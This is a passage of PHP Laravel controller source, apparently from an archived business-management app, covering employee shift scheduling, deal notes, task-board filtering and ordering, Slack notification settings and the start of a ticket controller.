($userData) { $q->where('department_id_json', 'like', '%"' . $userData->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($userData) { $q->where('designation_id_json', 'like', '%"' . $userData->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($userData) { $q->where('employment_type_json', 'like', '%"' . $userData->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); })->get()->pluck('date')->map(function ($date) { return $date->format('Y-m-d'); })->toArray(); foreach ($period as $date) { $formattedDate = $date->format('Y-m-d'); $dayOfName = $date->dayName; // if (in_array($formattedDate, $holidaysForUser)) { // if ($request->assign_shift_by == 'date') { // $holidayError = true; // break; // } // continue; // } // if($officeOpenDays) { // if (!in_array($date->dayOfWeek, $officeOpenDays)) { // $invalidShiftDays = true; // continue; // } // } if ($officeOpenDays && !in_array($date->dayOfWeek, $officeOpenDays)) { $dayOffShiftId = EmployeeShift::where('shift_name', 'Day Off')->where('company_id', company()->id)->first(); $this->bulkData($request, $date, $userData, $userId, $insertData, $officeOpenDays, $dayOffShiftId->id); continue; } if ($request->assign_shift_by != 'date') { $this->bulkData($request, $date, $userData, $userId, $insertData, $officeOpenDays); } else { $this->bulkData($request, $singleDate, $userData, $userId, $insertData, $officeOpenDays); } } } /* if ($holidayError) { return Reply::error(__('messages.holidayError')); // Display error message } */ if ($invalidShiftDays && $request->assign_shift_by == 'date') { $errorMessage = __('messages.invalidShiftDayError') . ' ' . $dayOfName; return Reply::error($errorMessage); } if ($request->send_email && $insertData > 0) { foreach ($employees as $key => $userId) { $userData = $employeeData->where('id', $userId)->first(); event(new BulkShiftEvent($userData, $dateRange, $userId)); } } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('shifts.index'); } return Reply::redirect($redirectUrl, __('messages.employeeShiftAdded')); } public function bulkData($request, $date, $userData, $userId, &$insertData, $officeOpenDays, $overrideShiftId = null) { // Ensure $date is an instance of Carbon if (!$date instanceof Carbon) { $date = Carbon::parse($date); } if ($date->greaterThanOrEqualTo($userData->employeeDetail->joining_date) && (is_null($officeOpenDays) || (is_array($officeOpenDays)))) { $insertData += 1; $shift = EmployeeShiftSchedule::where('user_id', $userId)->where('date', $date->format('Y-m-d'))->first() ?? new EmployeeShiftSchedule(); $shift->user_id = $userId; $shift->company_id = $userData->company_id; $shift->date = $date->copy()->format('Y-m-d'); $shift->employee_shift_id = $overrideShiftId ?? $request->shift; $shift->added_by = user()->id; $shift->last_updated_by = user()->id; $shift->remarks = $request->remarks; $shift->shift_start_time = $date->copy()->toDateString() . ' ' . $shift->shift->office_start_time; if (Carbon::parse($shift->shift->office_start_time)->gt(Carbon::parse($shift->shift->office_end_time))) { $shift->shift_end_time = $date->copy()->addDay()->toDateString() . ' ' . $shift->shift->office_end_time; } else { $shift->shift_end_time = $date->copy()->toDateString() . ' ' . $shift->shift->office_end_time; } $shift->saveQuietly(); if ($request->hasFile('file')) { $fileName = Files::uploadLocalOrS3($request->file, 'employee-shift-file/' . $shift->id); EmployeeShiftSchedule::where('id', $shift->id)->update(['file' => $fileName]); } } } } Http/Controllers/DealNoteController.php000064400000013043150325104510014236 0ustar00pageTitle = 'app.menu.notes'; $this->middleware(function ($request, $next) { return $next($request); }); } public function index(LeadNotesDataTable $dataTable) { abort_403(!(in_array(user()->permission('view_deal_note'), ['all', 'added']))); return $dataTable->render('leads.notes.index', $this->data); } public function create() { abort_403(!in_array(user()->permission('add_deal_note'), ['all', 'added', 'both'])); $this->employees = User::allEmployees(); $this->pageTitle = __('modules.deal.addDealNote'); $this->leadId = request('lead'); $this->view = 'leads.notes.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('leads.create', $this->data); } public function show($id) { $this->note = DealNote::findOrFail($id); /** @phpstan-ignore-next-line */ $this->noteMembers = $this->note->members->pluck('user_id')->toArray(); $this->employees = User::whereIn('id', $this->noteMembers)->get(); $viewClientNotePermission = user()->permission('view_deal_note'); $memberIds = $this->note->members->pluck('user_id')->toArray(); /** @phpstan-ignore-line */ abort_403(!($viewClientNotePermission == 'all' || ($viewClientNotePermission == 'added' && $this->note->added_by == user()->id) || ($viewClientNotePermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($viewClientNotePermission == 'both' && (in_array(user()->id, $memberIds) || $this->note->added_by == user()->id)) ) ); $this->pageTitle = __('modules.deal.dealNote'); if (request()->ajax()) { $html = view('leads.notes.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leads.notes.show'; return view('leads.create', $this->data); } public function store(StoreDealNote $request) { abort_403(!in_array(user()->permission('add_deal_note'), ['all', 'added', 'both'])); $note = new DealNote(); $note->title = $request->title; $note->deal_id = $request->lead_id; $note->details = trim_editor($request->details); $note->save(); return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('deals.show', $note->deal_id) . '?tab=notes']); } public function edit($id) { $this->pageTitle = __('modules.deal.editDealNote'); $this->note = DealNote::findOrFail($id); $editClientNotePermission = user()->permission('view_deal_note'); $memberIds = $this->note->members->pluck('user_id')->toArray(); /** @phpstan-ignore-line */ abort_403(!($editClientNotePermission == 'all' || ($editClientNotePermission == 'added' && user()->id == $this->note->added_by) || ($editClientNotePermission == 'owned' && in_array('employee', user_roles())) || ($editClientNotePermission == 'both' && ($this->note->added_by == user()->id )) )); /** @phpstan-ignore-next-line */ $this->leadId = $this->note->deal_id; if (request()->ajax()) { $html = view('leads.notes.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leads.notes.edit'; return view('leads.create', $this->data); } public function update(StoreDealNote $request, $id) { $note = DealNote::findOrFail($id); $note->title = $request->title; $note->details = trim_editor($request->details); $note->save(); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('deals.show', $note->deal_id) . '?tab=notes']); } public function destroy($id) { $this->note = DealNote::findOrFail($id); $this->deletePermission = user()->permission('delete_deal_note'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->note->added_by == user()->id)) || ($this->deletePermission == 'owned' && in_array('employee', user_roles())) || ($this->deletePermission == 'both' && ($this->note->added_by == user()->id )) ); $this->note->delete(); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('deals.show', $this->note->deal_id) . '?tab=notes']); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(!(user()->permission('delete_deal_note') == 'all')); DealNote::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } } Http/Controllers/TaskBoardController.php000064400000105647150325104510014431 0ustar00pageTitle = 'modules.tasks.taskBoard'; $this->middleware(function ($request, $next) { abort_403(!in_array('tasks', $this->user->modules)); $this->viewTaskPermission = user()->permission('view_tasks'); $this->viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ // @codingStandardsIgnoreLine public function index(Request $request) { $this->userRole = in_array('admin', user_roles()) ? 'yes' : 'no'; $this->startDate = now()->subDays(15)->format($this->company->date_format); $this->endDate = now()->addDays(15)->format($this->company->date_format); $this->projects = Project::allProjects(); $this->clients = User::allClients(); $this->employees = User::allEmployees(); $this->publicTaskboardLink = encrypt($this->companyName); $this->taskCategories = TaskCategory::all(); $this->taskLabels = TaskLabelList::all(); $this->taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); $userId = UserService::getUserId(); if (request()->ajax()) { $startDate = ($request->startDate != 'null') ? companyToDateString($request->startDate) : null; $endDate = ($request->endDate != 'null') ? companyToDateString($request->endDate) : null; $this->boardEdit = (request()->has('boardEdit') && request('boardEdit') == 'false') ? false : true; $this->boardDelete = (request()->has('boardDelete') && request('boardDelete') == 'false') ? false : true; $boardColumns = TaskboardColumn::withCount([ 'tasks as tasks_count' => function ($q) use ($startDate, $endDate, $request, $userId) { $q->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id'); if ( ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) || ($request->has('project_admin') && $request->project_admin == 1) ) { $q->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } else { $q->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } $q->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by'); if (!in_array('admin', user_roles())) { $q->where( function ($q) use ($userId) { $q->where('tasks.is_private', 0); $q->orWhere( function ($q2) use ($userId) { $q2->where('tasks.is_private', 1); $q2->where( function ($q4) use ($userId) { $q4->where('task_users.user_id', $userId); $q4->orWhere('tasks.added_by', $userId); } ); } ); } ); } if ($startDate && $endDate) { $q->where(function ($task) use ($startDate, $endDate) { $task->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); $task->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); }); } $q->whereNull('projects.deleted_at'); if ($request->projectID != 0 && $request->projectID != null && $request->projectID != 'all') { $q->where('tasks.project_id', '=', $request->projectID); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $q->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all') { $q->where('task_users.user_id', '=', $request->assignedTo); } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $q->where('creator_user.id', '=', $request->assignedBY); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $q->where('tasks.task_category_id', '=', $request->category_id); } if ($request->label_id != '' && $request->label_id != null && $request->label_id != 'all') { $q->where('task_labels.label_id', '=', $request->label_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $q->where('tasks.billable', '=', $request->billable); } if ($request->priority != '' && $request->priority != null && $request->priority != 'all') { $q->where('tasks.priority', '=', $request->priority); } if ($request->milestone_id != '' && $request->milestone_id != null && $request->milestone_id != 'all') { $q->where('tasks.milestone_id', $request->milestone_id); } if ($startDate !== null && $endDate !== null) { $q->where( function ($q) use ($startDate, $endDate, $request) { if ($request->date_filter_on == 'due_date') { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); } elseif ($request->date_filter_on == 'start_date') { $q->whereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); } elseif ($request->date_filter_on == 'completed_on') { $q->whereBetween(DB::raw('DATE(tasks.`completed_on`)'), [$startDate, $endDate]); } } ); } if ($request->searchText != '') { $q->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%'); }); } if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTaskPermission == 'owned') { $q->where(function ($q1) use ($request, $userId) { $q1->where('task_users.user_id', '=', $userId); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } if ($this->viewTaskPermission == 'added') { $q->where('tasks.added_by', '=', $userId); } if ($this->viewTaskPermission == 'both') { $q->where(function ($q1) use ($request, $userId) { $q1->where('task_users.user_id', '=', $userId); $q1->orWhere('tasks.added_by', '=', $userId); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } } $q->select(DB::raw('count(distinct tasks.id)')); }]) ->with(['tasks' => function ($q) use ($startDate, $endDate, $request, $userId) { $q->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id'); if ( ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) || ($request->has('project_admin') && $request->project_admin == 1) ) { $q->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } else { $q->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } $q->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->groupBy('tasks.id'); if (!in_array('admin', user_roles())) { $q->where( function ($q) use ($userId) { $q->where('tasks.is_private', 0); $q->orWhere( function ($q2) use ($userId) { $q2->where('tasks.is_private', 1); $q2->where( function ($q4) use ($userId) { $q4->where('task_users.user_id', $userId); $q4->orWhere('tasks.added_by', $userId); } ); } ); } ); } if ($startDate && $endDate) { $q->where(function ($task) use ($startDate, $endDate) { $task->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); $task->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); }); } $q->whereNull('projects.deleted_at'); if ($request->projectID != 0 && $request->projectID != null && $request->projectID != 'all') { $q->where('tasks.project_id', '=', $request->projectID); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $q->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all') { $q->where('task_users.user_id', '=', $request->assignedTo); } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $q->where('creator_user.id', '=', $request->assignedBY); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $q->where('tasks.task_category_id', '=', $request->category_id); } if ($request->label_id != '' && $request->label_id != null && $request->label_id != 'all') { $q->where('task_labels.label_id', '=', $request->label_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $q->where('tasks.billable', '=', $request->billable); } if ($request->priority != '' && $request->priority != null && $request->priority != 'all') { $q->where('tasks.priority', '=', $request->priority); } if ($request->milestone_id != '' && $request->milestone_id != null && $request->milestone_id != 'all') { $q->where('tasks.milestone_id', $request->milestone_id); } if ($startDate !== null && $endDate !== null) { $q->where( function ($q) use ($startDate, $endDate, $request) { if ($request->date_filter_on == 'due_date') { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); } elseif ($request->date_filter_on == 'start_date') { $q->whereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); } elseif ($request->date_filter_on == 'completed_on') { $q->whereBetween(DB::raw('DATE(tasks.`completed_on`)'), [$startDate, $endDate]); } } ); } if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTaskPermission == 'owned') { $q->where(function ($q1) use ($request, $userId) { $q1->where('task_users.user_id', '=', $userId); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } if ($this->viewTaskPermission == 'added') { $q->where('tasks.added_by', '=', $userId); } if ($this->viewTaskPermission == 'both') { $q->where(function ($q1) use ($request, $userId) { $q1->where('task_users.user_id', '=', $userId); $q1->orWhere('tasks.added_by', '=', $userId); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } } if ($request->searchText != '') { $q->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%'); }); } }])->with('userSetting')->orderBy('priority', 'asc'); $boardColumns = $boardColumns->get()->map(function ($query) { $query->setRelation('tasks', $query->tasks->take($this->taskBoardColumnLength)); return $query; }); $result = array(); foreach ($boardColumns as $key => $boardColumn) { $result['boardColumns'][] = $boardColumn; $result['boardColumns'][$key]['tasks'] = $boardColumn->tasks; } if (request()->projectID != 'all') { $this->project = Project::findOrFail($request->projectID); } $this->result = $result; $this->startDate = $startDate; $this->endDate = $endDate; $view = view('taskboard.board_data', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'status' => 'success']); } $this->milestones = ProjectMilestone::all(); $taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); if (!in_array('admin', user_roles()) && in_array('employee', user_roles())) { $user = User::findOrFail($userId); $this->waitingApprovalCount = $user->tasks()->where('board_column_id', $taskBoardColumn->id)->where('company_id', company()->id)->count(); }else{ $this->waitingApprovalCount = Task::where('board_column_id', $taskBoardColumn->id)->where('company_id', company()->id)->count(); } session()->forget('pusher_settings'); return view('taskboard.index', $this->data); } /** * @param StoreTaskBoard $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreTaskBoard $request) { $slug = str_slug($request->column_name, '_'); $priority = $request->priority; $board = new TaskboardColumn(); $board->column_name = $request->column_name; $board->label_color = $request->label_color; $taskboard = TaskboardColumn::where('slug', $slug)->where('company_id', company()->id)->first(); if($taskboard){ $errormessage = "A status with this name already exists which you updated with " . $taskboard->column_name . ". If you want to use this name, please update the existing status (" . $taskboard->column_name . " to " . $request->column_name .")."; return Reply::error($errormessage); }else{ $board->slug = $slug; } if ($request->has('before')) { TaskboardColumn::where('priority', '>=', $priority) ->orderBy('priority', 'asc') ->increment('priority'); $board->priority = $priority; } else { TaskboardColumn::where('priority', '>', $priority) ->orderBy('priority', 'asc') ->increment('priority'); $board->priority = $priority + 1; } $board->save(); return Reply::success(__('messages.recordSaved')); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function loadMore(Request $request) { $startDate = ($request->startDate != 'null') ? companyToDateString($request->startDate) : null; $endDate = ($request->endDate != 'null') ? companyToDateString($request->endDate) : null; $skip = $request->currentTotalTasks; $totalTasks = $request->totalTasks; $this->taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); $userId = UserService::getUserId(); $tasks = Task::with('users', 'project', 'labels') ->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id'); if ( ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) || ($request->has('project_admin') && $request->project_admin == 1) ) { $tasks->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } else { $tasks->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id'); } $tasks->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->select('tasks.*') ->where('tasks.board_column_id', $request->columnId) ->orderBy('column_priority', 'asc') ->groupBy('tasks.id'); if (!in_array('admin', user_roles())) { $tasks->where( function ($q) use ($userId) { $q->where('tasks.is_private', 0); $q->orWhere( function ($q2) use ($userId) { $q2->where('tasks.is_private', 1); $q2->where( function ($q4) use ($userId) { $q4->where('task_users.user_id', $userId); $q4->orWhere('tasks.added_by', $userId); } ); } ); } ); } if ($startDate && $endDate) { $tasks->where(function ($task) use ($startDate, $endDate) { $task->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); $task->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); }); } $tasks->whereNull('projects.deleted_at'); if ($request->projectID != 0 && $request->projectID != null && $request->projectID != 'all') { $tasks->where('tasks.project_id', '=', $request->projectID); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $tasks->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all') { $tasks->where('task_users.user_id', '=', $request->assignedTo); } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $tasks->where('creator_user.id', '=', $request->assignedBY); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $tasks->where('tasks.task_category_id', '=', $request->category_id); } if ($request->label_id != '' && $request->label_id != null && $request->label_id != 'all') { $tasks->where('task_labels.label_id', '=', $request->label_id); } if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTaskPermission == 'owned') { $tasks->where(function ($q1) use ($request, $userId) { $q1->where('task_users.user_id', '=', $userId); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } if ($this->viewTaskPermission == 'added') { $tasks->where('tasks.added_by', '=', $userId); } if ($this->viewTaskPermission == 'both') { $tasks->where(function ($q1) use ($request, $userId) { $q1->where('task_users.user_id', '=', $userId); $q1->orWhere('tasks.added_by', '=', $userId); if (in_array('client', user_roles())) { $q1->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q1->orWhereDoesntHave('users'); } }); } } if ($request->searchText != '') { $tasks->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%'); }); } $tasks->skip($skip)->take($this->taskBoardColumnLength); $tasks = $tasks->get(); $this->tasks = $tasks; if ($totalTasks <= ($skip + $this->taskBoardColumnLength)) { $loadStatus = 'hide'; } else { $loadStatus = 'show'; } $view = view('taskboard.load_more', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'load_more' => $loadStatus]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function updateIndex(Request $request) { $taskIds = $request->taskIds; $boardColumnId = $request->boardColumnId; $priorities = $request->prioritys; $userId = UserService::getUserId(); $board = TaskboardColumn::findOrFail($boardColumnId); if (isset($taskIds) && count($taskIds) > 0) { $taskIds = (array_filter($taskIds, function ($value) { return $value !== null; })); foreach ($taskIds as $key => $taskId) { if (!is_null($taskId)) { $task = Task::with('labels')->findOrFail($taskId); if ($board->slug == 'completed') { $task->update( [ 'board_column_id' => $boardColumnId, 'completed_on' => now()->format('Y-m-d'), 'column_priority' => $priorities[$key] ] ); } else { $task->update( [ 'board_column_id' => $boardColumnId, 'column_priority' => $priorities[$key] ] ); } } } $this->triggerPusher('task-updated-channel', 'task-updated', ['user_id' => $userId, 'task_id' => $request->draggingTaskId]); } return Reply::dataOnly(['status' => 'success', 'data' => '']); } public function create() { abort_403(user()->permission('add_status') !== 'all'); $this->allBoardColumns = TaskBoardColumn::orderBy('priority', 'asc')->get(); return view('taskboard.create', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { abort_403(user()->permission('add_status') !== 'all'); $this->boardColumn = TaskboardColumn::findOrFail($id); $this->allBoardColumns = TaskBoardColumn::orderBy('priority', 'asc')->get(); $this->lastBoardColumn = $this->allBoardColumns->filter(function ($value, $key) { return $value->priority == ($this->boardColumn->priority - 1); })->first(); $this->afterBoardColumn = $this->allBoardColumns->filter(function ($value, $key) { return $value->priority == ($this->boardColumn->priority + 1); })->first(); $this->maxPriority = TaskboardColumn::max('priority'); return view('taskboard.edit', $this->data); } /** * @param UpdateTaskBoard $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateTaskBoard $request, $id) { $board = TaskboardColumn::findOrFail($id); $oldPosition = $board->priority; $newPosition = $request->priority; if ($request->has('before')) { TaskboardColumn::where('priority', '<', $oldPosition) ->where('priority', '>=', $newPosition) ->orderBy('priority', 'asc') ->increment('priority'); $board->priority = $request->priority; } elseif ($oldPosition > $newPosition) { TaskboardColumn::where('priority', '<', $oldPosition) ->where('priority', '>', $newPosition) ->orderBy('priority', 'asc') ->increment('priority'); $board->priority = $request->priority + 1; } else { TaskboardColumn::where('priority', '>', $oldPosition) ->where('priority', '<=', $newPosition) ->orderBy('priority', 'asc') ->decrement('priority'); $board->priority = $request->priority; } $board->column_name = $request->column_name; if ($board->getOriginal('slug') != 'incomplete' && $board->getOriginal('slug') != 'completed' && $board->getOriginal('slug') != 'waiting_approval') { $board->slug = str_slug($request->column_name, '_'); } $board->label_color = $request->label_color; $board->save(); return Reply::success(__('messages.recordSaved')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { Task::where('board_column_id', $id)->update(['board_column_id' => company()->default_task_status]); $board = TaskboardColumn::findOrFail($id); $otherColumns = TaskboardColumn::where('priority', '>', $board->priority) ->orderBy('priority', 'asc') ->get(); foreach ($otherColumns as $column) { $pos = TaskboardColumn::where('priority', $column->priority)->first(); $pos->priority = ($pos->priority - 1); $pos->save(); } UserTaskboardSetting::where('board_column_id', $id)->delete(); TaskboardColumn::destroy($id); return Reply::dataOnly(['status' => 'success']); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function collapseColumn(Request $request) { $userId = UserService::getUserId(); $setting = UserTaskboardSetting::firstOrNew([ 'user_id' => $userId, 'board_column_id' => $request->boardColumnId, ]); $setting->collapsed = (($request->type == 'minimize') ? 1 : 0); $setting->save(); return Reply::dataOnly(['status' => 'success']); } public function updatePrioritySequence($request, $id) { $currentSequence = TaskboardColumn::findOrFail($id); if ($currentSequence->priority > $request->priority) { /* check for Sequence numbers less then current sequence: */ $increment_sequence_number = TaskboardColumn::where('priority', '<', $currentSequence->priority)->where('priority', '>=', $request->priority)->get(); foreach ($increment_sequence_number as $increment_sequence_numbers) { $increment_sequence_numbers->priority = ((int)$increment_sequence_numbers->priority + 1); $increment_sequence_numbers->save(); } } else { /* check for Sequence numbers greater then current sequence: */ $decrement_sequence_number = TaskboardColumn::where('priority', '>', $currentSequence->priority)->where('priority', '<=', $request->priority)->get(); foreach ($decrement_sequence_number as $decrement_sequence_numbers) { $decrement_sequence_numbers->priority = ((int)$decrement_sequence_numbers->priority - 1); $decrement_sequence_numbers->save(); } } $currentSequence->priority = $request->priority; $currentSequence->save(); } } Http/Controllers/SlackSettingController.php000064400000004274150325104510015144 0ustar00pageTitle = 'app.menu.slackSettings'; $this->activeSettingMenu = 'notification_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_notification_setting') !== 'all'); return $next($request); }); } public function update(SlackWebhookRequest $request, $id) { $this->saveSlackNotificationSettings($request); $setting = SlackSetting::findOrFail($id); $setting->status = $request->slack_status ? 'active' : 'inactive'; $setting->slack_webhook = $request->slack_webhook; if (isset($request->removeImage) && $request->removeImage == 'on') { if ($setting->slack_logo) { Files::deleteFile($setting->slack_logo, 'slack-logo'); } $setting->slack_logo = null; // Remove image from database } elseif ($request->hasFile('slack_logo')) { Files::deleteFile($setting->slack_logo, 'slack-logo'); $setting->slack_logo = Files::uploadLocalOrS3($request->slack_logo, 'slack-logo'); } $setting->save(); session()->forget('slack_setting'); session()->forget('email_notification_setting'); return Reply::success(__('messages.updateSuccess')); } public function sendTestNotification() { $user = user(); // Notify User $user->notify(new TestSlack()); return Reply::success('Test notification sent.'); } public function saveSlackNotificationSettings($request) { EmailNotificationSetting::where('send_slack', 'yes')->update(['send_slack' => 'no']); if ($request->send_slack) { EmailNotificationSetting::whereIn('id', $request->send_slack)->update(['send_slack' => 'yes']); } } } Http/Controllers/TicketController.php000064400000056762150325104510014005 0ustar00pageTitle = 'app.menu.tickets'; $this->middleware(function ($request, $next) { abort_403(!in_array('tickets', $this->user->modules)); return $next($request); }); } public function index(TicketDataTable $dataTable) { $this->viewPermission = user()->permission('view_tickets'); abort_403(!in_array($this->viewPermission, ['all', 'added', 'owned', 'both'])); $managePermission = user()->permission('manage_ticket_agent'); $id = UserService::getUserId(); if (!request()->ajax()) { $this->channels = TicketChannel::all(); $this->groups = $managePermission == 'none' ? null : TicketGroup::with(['enabledAgents' => function ($q) use ($managePermission, $id) { if ($managePermission == 'added') { $q->where('added_by', $id); } elseif ($managePermission == 'owned') { $q->where('agent_id', $id); } elseif ($managePermission == 'both') { $q->where('agent_id', $id)->orWhere('added_by', $id); } else { $q->get(); } }, 'enabledAgents.user'])->get(); $this->types = TicketType::all(); $this->tags = TicketTagList::all(); $this->projects = Project::allProjects(); } return $dataTable->render('tickets.index', $this->data); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_tickets') != 'all'); Ticket::whereIn('id', explode(',', $request->row_ids))->delete(); } protected function changeBulkStatus($request) { 